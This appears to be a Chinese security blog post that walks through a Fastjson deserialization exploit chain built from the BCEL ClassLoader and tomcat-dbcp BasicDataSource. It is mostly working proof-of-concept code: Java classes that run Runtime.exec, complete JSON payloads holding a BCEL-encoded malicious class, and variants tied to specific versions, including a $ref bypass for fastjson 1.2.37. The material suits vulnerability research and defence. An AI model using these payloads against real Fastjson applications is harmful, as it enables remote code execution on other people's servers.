BCEL
下面将讲述bcel加载恶意类的详细过程
BCEL是什么
引用自CSDN
BCEL原本是Apache Jakarta的一个子项目,后来成为了Apache Commons的一个子项目。Apache Commons Collections想必大家都知道,就是常说的CC链,也是Apache Commons的一个子项目
BCEL主要用于分析、创建、操纵Java class文件,包含在原生原生JDK中(com.sun.org.apache.bcel),之所以包含在原生JDK主要原因可能是为了支撑Java XML的一些功能,Java XML功能包含了JAXP(Java API for XML Processing)规范,Java中自带的JAXP实现使用了Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL,所以BCEL也被放入了标准库中。
Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler。
XSLTC Compiler就是一个命令行编译器,可以将一个xsl文件编译成一个class文件或jar文件,编译后的class被称为translet,可以在后续用于对XML文件的转换。其实就将XSLT的功能转化成了Java代码,优化执行的速度,如果我们不使用这个命令行编译器进行编译,Java内部也会在运行过程中存在编译的过程。
因为需要编译文件,实际上是动态生成Java字节码,BCEL正是一个Java处理字节码的库,所以Apache Xalan又依赖了BCEL
CalssLoader
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package classloader;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import java.io.IOException;public class TestBCEL { public static void main (String[] args) throws Exception { String str = "\$\$BCEL\$\$xd" ; new ClassLoader ().loadClass(str).newInstance(); } }
先对于bcel的类加载机制com.sun.org.apache.bcel.internal.util.ClassLoader进行断点分析,可以得到如下代码
可见ClassLoader中对于$$BCEL$$字段进行了判断,如果存在就对class_name执行create_class方法,跟踪该方法,结果如下
个人感觉这里就是对bcel可以加载恶意类最直观的解释,根据代码逻辑,其截取了$$BCEL$$之后的字符,并将其解码,以类的形式返回,回到上层代码继续分析
得到clazz之后就到达了下面框框里的代码,调用了ClassLoader类的核心方法defineClass
(定义一个Java类),如果我们在$$BCEL$$后街上恶意类的代码,在这里就会将其彻底解析,进而完成恶意类的构造。
构造恶意类
了解了bcel加载恶意类的过程,下面就需要进行恶意类的构造,关键在于上面分析过的createClass方法,其中对于$$BCEL$$后的代码进行了解码处理,如下图
所以我们构造的时候需要将类进行同样的编码处理,测试代码如下
TestBCEL.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package classloader;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import java.io.IOException;public class TestBCEL { public static void main (String[] args) throws Exception { JavaClass javaClass = Repository.lookupClass(classloader.Calc.class); String str = "\$\$BCEL\$\$" ; str += Utility.encode(javaClass.getBytes(),true ); new ClassLoader ().loadClass(str).newInstance(); } }
Calc.java
1 2 3 4 5 6 7 8 9 10 11 package classloader;public class Calc { static { try { Runtime.getRuntime().exec("calc" ); }catch (Exception e){ e.printStackTrace(); } } }
运行结果,成功弹出计算器
tomcat-dbcp分析
下面将会将bcel和dbcp结合起来综合分析,利用链如下
1 BasicDataSource.getConnection () > createDataSource () > createConnectionFactory ()
跟踪BasicDataSource#getConnection方法
继续跟踪BasicDataSource#createDataSource方法
可以发现在这里调用了BasicDataSource#createConnectionFactory,继续跟踪该方法
driverClassName和driverClassLoader都是该类下的成员变量(可控),并利用forName函数进行了类加载
类加载机制
1 2 3 4 5 Class.forName("com.anbai.sec.classloader.TestHelloWorld" ); this .getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld" );
Class.forName("类名")
默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器)
,而ClassLoader.loadClass
默认不会初始化类方法。
至此,我们就可以利用Class.forName方法实现我们的恶意类加载,验证脚本如下
FjBCEL.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package classloader;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import org.apache.tomcat.dbcp.dbcp.BasicDataSource;import java.io.IOException;import java.sql.SQLException;public class FjBCEL { public static void main (String[] args) throws IOException, SQLException { ClassLoader classLoader = new ClassLoader (); JavaClass javaClass = Repository.lookupClass(classloader.Calc.class); String str = "\$\$BCEL\$\$" ; str += Utility.encode(javaClass.getBytes(),true ); BasicDataSource basicDataSource = new BasicDataSource (); basicDataSource.setDriverClassLoader(classLoader); basicDataSource.setDriverClassName(str); basicDataSource.getConnection(); } }
运行结果,成功弹出计算器
BCEL-dbcp-fastjson
下面将会将上面所说的bcel,dbcp和fj结合起来,利用fj触发该利用链
利用链入口就是上面提到的BasicDataSource#getConnection方法,但该类并没有Connection成员变量,那他是如何调用的呢?
FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法(详见fj的触发详细过程),而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。
先给出测试POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package classloader;import com.alibaba.fastjson.JSON;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import org.apache.tomcat.dbcp.dbcp.BasicDataSource;import java.io.IOException;import java.sql.SQLException;public class FjBCEL { public static void main (String[] args) throws IOException, SQLException { ClassLoader classLoader = new ClassLoader (); JavaClass javaClass = Repository.lookupClass(classloader.Calc.class); String str = "\$\$BCEL\$\$" ; str += Utility.encode(javaClass.getBytes(),true ); String payload = "{\n" + " {\n" + " \"aaa\": {\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": \"" +str+"\"\n" + " }\n" + " }:\"xxx\"\n" + "}" ; JSON.parse(payload); } }
1 2 3 4 5 6 7 8 9 10 11 12 { { "aaa" : { "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "\$\$BCEL\$\$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$H$8e$m$$$I$$$84E$U$c1y$3a$j$95$viR$rS$c4$hq$e6$C$88$D$P$c0C$n$3ca$V$Q$vv$fc$db$fel$x$_$afO$cf$A6$b1$e2$c2$c1$a8$8b1$8c$3b$980$7e$d2$c6$94$8b$i$a6m$cc$d8$98e$c8o$abP$e9$j$86lu$ed$9c$c1$da$8d$9a$92$a1$e4$abP$k$f5$3a$N$Z$9f$f1F$40J$d9$8f$E$P$cey$acL$fc$nZ$faR$r$s$t$C$9e$qA$c4$9b2$ae$ed$f2$40l18$db$o$f8$403$w$ad$f8m$7e$cdk$B$P$5b$b5$bd$h$n$bbZE$n$95$V$eb$9a$8b$abC$deM$91$b4$j$83$5b$8fz$b1$90$fb$ca$8c$u$Y$dc$86$e9$f5P$80kc$ce$c3$3c$Wh6$ad$p$3c$yb$89a$e8$l$b6$87e$b8$M$D$bfW$p$e9$bb$fa$b8$d1$96B3$M$7eK$a7$bdP$ab$OMv$5bR$7f$F$95$ea$9a$ff$a7$86$d6$b7$e4$8d$q$e4j$f5G$b6$aec$V$b6$b6$7e6$9c$c4$91$90IB$N$a5$$$ruz$f4Y$cc$85$a4cl$faI$e6$c9$80$99$T$c9$f6QT$p$cf$c8$e7$d6$l$c0$ee$d2$b4G6$9f$8aY$U$c9z$ef$F$e8G$89$bc$83$81$aff$9e$c2$80$f2$p2$e5$ec$3d$ac$8b$5b8$H$eb$f7$c8$df$a5z$81zsD1$c4$R$fa2$dcB$aa$daDv0H$a4$cf$JEX$U$97$v$g$a2$d7F$c6$b71lQ$a2$92$$5$f2$G$933$ed$e9n$C$A$A" } } : "xxx" }
当我们利用parse()方法的时候
结合payload可得在这里由于key不为null,所以调用了toString方法,key为JSONObject
对象,会调用该对象的toString方法。而且JSONObject是Map的子类,当调用toString
的时候,会依次调用该类的getter方法获取值(对于getConnection的触发还有一种解释https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/util/TypeUtils.java#L1904 ),进而触发get链,上面已经给出了JSON.parse的测试代码,下面是JSON.parseObject的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package classloader;import com.alibaba.fastjson.JSON;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import java.io.IOException;import java.sql.SQLException;public class FjBCEL { public static void main (String[] args) throws IOException, SQLException { ClassLoader classLoader = new ClassLoader (); JavaClass javaClass = Repository.lookupClass(classloader.Calc.class); String str = "\$\$BCEL\$\$" ; str += Utility.encode(javaClass.getBytes(),true ); String payload = "{\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": \"" +str+"\"\n" + " }" ; JSON.parseObject(payload); } }
1 2 3 4 5 6 7 { "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "\$\$BCEL\$\$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$H$8e$m$$$I$$$84E$U$c1y$3a$j$95$viR$rS$c4$hq$e6$C$88$D$P$c0C$n$3ca$V$Q$vv$fc$db$fel$x$_$afO$cf$A6$b1$e2$c2$c1$a8$8b1$8c$3b$980$7e$d2$c6$94$8b$i$a6m$cc$d8$98e$c8o$abP$e9$j$86lu$ed$9c$c1$da$8d$9a$92$a1$e4$abP$k$f5$3a$N$Z$9f$f1F$40J$d9$8f$E$P$cey$acL$fc$nZ$faR$r$s$t$C$9e$qA$c4$9b2$ae$ed$f2$40l18$db$o$f8$403$w$ad$f8m$7e$cdk$B$P$5b$b5$bd$h$n$bbZE$n$95$V$eb$9a$8b$abC$deM$91$b4$j$83$5b$8fz$b1$90$fb$ca$8c$u$Y$dc$86$e9$f5P$80kc$ce$c3$3c$Wh6$ad$p$3c$yb$89a$e8$l$b6$87e$b8$M$D$bfW$p$e9$bb$fa$b8$d1$96B3$M$7eK$a7$bdP$ab$OMv$5bR$7f$F$95$ea$9a$ff$a7$86$d6$b7$e4$8d$q$e4j$f5G$b6$aec$V$b6$b6$7e6$9c$c4$91$90IB$N$a5$$$ruz$f4Y$cc$85$a4cl$faI$e6$c9$80$99$T$c9$f6QT$p$cf$c8$e7$d6$l$c0$ee$d2$b4G6$9f$8aY$U$c9z$ef$F$e8G$89$bc$83$81$aff$9e$c2$80$f2$p2$e5$ec$3d$ac$8b$5b8$H$eb$f7$c8$df$a5z$81zsD1$c4$R$fa2$dcB$aa$daDv0H$a4$cf$JEX$U$97$v$g$a2$d7F$c6$b71lQ$a2$92$$5$f2$G$933$ed$e9n$C$A$A" }
根据包版本的不同payload会略有差异,有些包调用的可能就是org.apache.tomcat.dbcp.dbcp2.BasicDataSource
类路径需要根据实际情况而定,运行结果
以上方法只针对于fj<=1.2.36版本的情况,为什么呢?
下图为fj1.2.37中的key部分,发现已经没有了toString方法,之前对于JSON.parse和JSON.parseObject的payload都是通过将key设置为JSONObject对象来触发toString,进而依次调用该类的getter加载恶意代码,如果没有了toString,那么payload也就失去了作用
通过$ref进行调用
接下来的测试我的fj换成了1.2.37
什么是ref
ref是fastjson特有的JSONPath语法,用来引用之前出现的对象
什么是JSONPath
https://blog.csdn.net/itguangit/article/details/78764212
测试代码
RefTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package classloader;import java.io.IOException;public class RefTest { private String cmd; private String test; public void setTest (String test) { this .test=test; } public String setTest () { return test; } public void setCmd (String cmd) { this .cmd = cmd; } public String getCmd () throws IOException { Runtime.getRuntime().exec(cmd); return cmd; } }
BCEL_refTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 package classloader;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class BCEL_refTest { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "[{\"@type\":\"classloader.RefTest\",\"cmd\":\"calc\"},{\"@type\":\"classloader.RefTest\",\"cmd\":\"calc\",\"test\":\"test\"},{\"$ref\":\"$[1].cmd\"}]" ; Object o = JSON.parse(payload); } }
payload
1 2 3 4 5 6 7 8 9 10 [ { "@type" : "classloader.RefTest" , "cmd" : "calc" } , { "$ref" : "$[1].cmd" } ]
这里解释一下jsonpath在该payload里的作用,$[1]代表引用了当前数组的第二个变量,也就是
1 2 3 4 5 { "@type" : "classloader.RefTest" , "cmd" : "calc" , "test" : "test" }
.cmd代表获取该对象中cmd的值,相比于之前的payload,$ref主要是通过JSONPath的形式进行了对象和属性的调用,利用反射进行实例化,进而执行恶意方法。同样的,我们可以通过$ref调用上面说到的connection,进而触发他的get方法
测试代码:
BCEL_refTest.java
运行的时候报了两次错,应该是tomcat版本的问题,高版本加了waf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package classloader;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class BCEL_refTest { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); ParserConfig.getGlobalInstance().addAccept("org.apache.tomcat.dbcp.dbcp.BasicDataSource" ); ParserConfig.getGlobalInstance().addAccept("com.sun.org.apache.bcel.internal.util.ClassLoader" ); String payload = "[{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"\$\$BCEL\$\$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$H$8e$m$$$I$$$84E$U$c1y$3a$j$95$viR$rS$c4$hq$e6$C$88$D$P$c0C$n$3ca$V$Q$vv$fc$db$fel$x$_$afO$cf$A6$b1$e2$c2$c1$a8$8b1$8c$3b$980$7e$d2$c6$94$8b$i$a6m$cc$d8$98e$c8o$abP$e9$j$86lu$ed$9c$c1$da$8d$9a$92$a1$e4$abP$k$f5$3a$N$Z$9f$f1F$40J$d9$8f$E$P$cey$acL$fc$nZ$faR$r$s$t$C$9e$qA$c4$9b2$ae$ed$f2$40l18$db$o$f8$403$w$ad$f8m$7e$cdk$B$P$5b$b5$bd$h$n$bbZE$n$95$V$eb$9a$8b$abC$deM$91$b4$j$83$5b$8fz$b1$90$fb$ca$8c$u$Y$dc$86$e9$f5P$80kc$ce$c3$3c$Wh6$ad$p$3c$yb$89a$e8$l$b6$87e$b8$M$D$bfW$p$e9$bb$fa$b8$d1$96B3$M$7eK$a7$bdP$ab$OMv$5bR$7f$F$95$ea$9a$ff$a7$86$d6$b7$e4$8d$q$e4j$f5G$b6$aec$V$b6$b6$7e6$9c$c4$91$90IB$N$a5$$$ruz$f4Y$cc$85$a4cl$faI$e6$c9$80$99$T$c9$f6QT$p$cf$c8$e7$d6$l$c0$ee$d2$b4G6$9f$8aY$U$c9z$ef$F$e8G$89$bc$83$81$aff$9e$c2$80$f2$p2$e5$ec$3d$ac$8b$5b8$H$eb$f7$c8$df$a5z$81zsD1$c4$R$fa2$dcB$aa$daDv0H$a4$cf$JEX$U$97$v$g$a2$d7F$c6$b71lQ$a2$92$$5$f2$G$933$ed$e9n$C$A$A\"},{\"$ref\": \"$[0].Connection\"}]" ; Object o = JSON.parse(payload); } }
payload
1 [ { "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "\$\$BCEL\$\$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$H$8e$m$$$I$$$84E$U$c1y$3a$j$95$viR$rS$c4$hq$e6$C$88$D$P$c0C$n$3ca$V$Q$vv$fc$db$fel$x$_$afO$cf$A6$b1$e2$c2$c1$a8$8b1$8c$3b$980$7e$d2$c6$94$8b$i$a6m$cc$d8$98e$c8o$abP$e9$j$86lu$ed$9c$c1$da$8d$9a$92$a1$e4$abP$k$f5$3a$N$Z$9f$f1F$40J$d9$8f$E$P$cey$acL$fc$nZ$faR$r$s$t$C$9e$qA$c4$9b2$ae$ed$f2$40l18$db$o$f8$403$w$ad$f8m$7e$cdk$B$P$5b$b5$bd$h$n$bbZE$n$95$V$eb$9a$8b$abC$deM$91$b4$j$83$5b$8fz$b1$90$fb$ca$8c$u$Y$dc$86$e9$f5P$80kc$ce$c3$3c$Wh6$ad$p$3c$yb$89a$e8$l$b6$87e$b8$M$D$bfW$p$e9$bb$fa$b8$d1$96B3$M$7eK$a7$bdP$ab$OMv$5bR$7f$F$95$ea$9a$ff$a7$86$d6$b7$e4$8d$q$e4j$f5G$b6$aec$V$b6$b6$7e6$9c$c4$91$90IB$N$a5$$$ruz$f4Y$cc$85$a4cl$faI$e6$c9$80$99$T$c9$f6QT$p$cf$c8$e7$d6$l$c0$ee$d2$b4G6$9f$8aY$U$c9z$ef$F$e8G$89$bc$83$81$aff$9e$c2$80$f2$p2$e5$ec$3d$ac$8b$5b8$H$eb$f7$c8$df$a5z$81zsD1$c4$R$fa2$dcB$aa$daDv0H$a4$cf$JEX$U$97$v$g$a2$d7F$c6$b71lQ$a2$92$$5$f2$G$933$ed$e9n$C$A$A" } , { "$ref" : "$[0].Connection" } ]
运行结果
过程分析
https://blog.csdn.net/solitudi/article/details/120275526